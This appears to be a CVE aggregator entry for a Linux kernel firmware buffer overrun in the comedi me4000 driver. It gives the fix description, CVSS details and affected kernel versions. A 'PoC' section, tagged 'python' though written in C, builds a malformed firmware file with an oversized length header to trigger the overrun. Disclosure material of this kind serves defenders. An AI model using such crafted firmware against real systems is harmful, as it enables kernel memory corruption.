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CVE-2026-31747 CVSS 7.8 HIGH

CVE-2026-31747

Published: 2026-05-01 15:16:37
Last Modified: 2026-05-07 19:26:42
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: comedi: me4000: Fix potential overrun of firmware buffer `me4000_xilinx_download()` loads the firmware that was requested by `request_firmware()`. It is possible for it to overrun the source buffer because it blindly trusts the file format. It reads a data stream length from the first 4 bytes into variable `file_length` and reads the data stream contents of length `file_length` from offset 16 onwards. Add a test to ensure that the supplied firmware is long enough to contain the header and the data stream. On failure, log an error and return `-EINVAL`. Note: The firmware loading was totally broken before commit ac584af59945 ("staging: comedi: me4000: fix firmware downloading"), but that is the most sensible target for this fix.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.10.y (specific commit)
Linux Kernel < 5.15.y (specific commit)
Linux Kernel < 6.1.y (specific commit)
Linux Kernel < 6.6.y (specific commit)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC to generate malformed firmware triggering the buffer overrun #include <stdio.h> #include <stdlib.h> int main() { FILE *fp = fopen("malicious_me4000.bin", "wb"); if (!fp) return 1; // 1. Write the file_length at offset 0 (4 bytes) // Set a large length (e.g., 0xFFFFFFFF) to force a large read unsigned int large_len = 0xFFFFFFFF; fwrite(&large_len, sizeof(unsigned int), 1, fp); // 2. Fill bytes 4 to 15 with padding (12 bytes) // The driver starts reading data at offset 16 char padding[12] = "AAAAAAAAAAAA"; fwrite(padding, 12, 1, fp); // Close the file. Total size is 16 bytes. // When me4000_xilinx_download() processes this, it will attempt // to read 0xFFFFFFFF bytes starting at byte 16, causing an overrun. fclose(fp); printf("Created malicious_me4000.bin\n"); return 0; }

References

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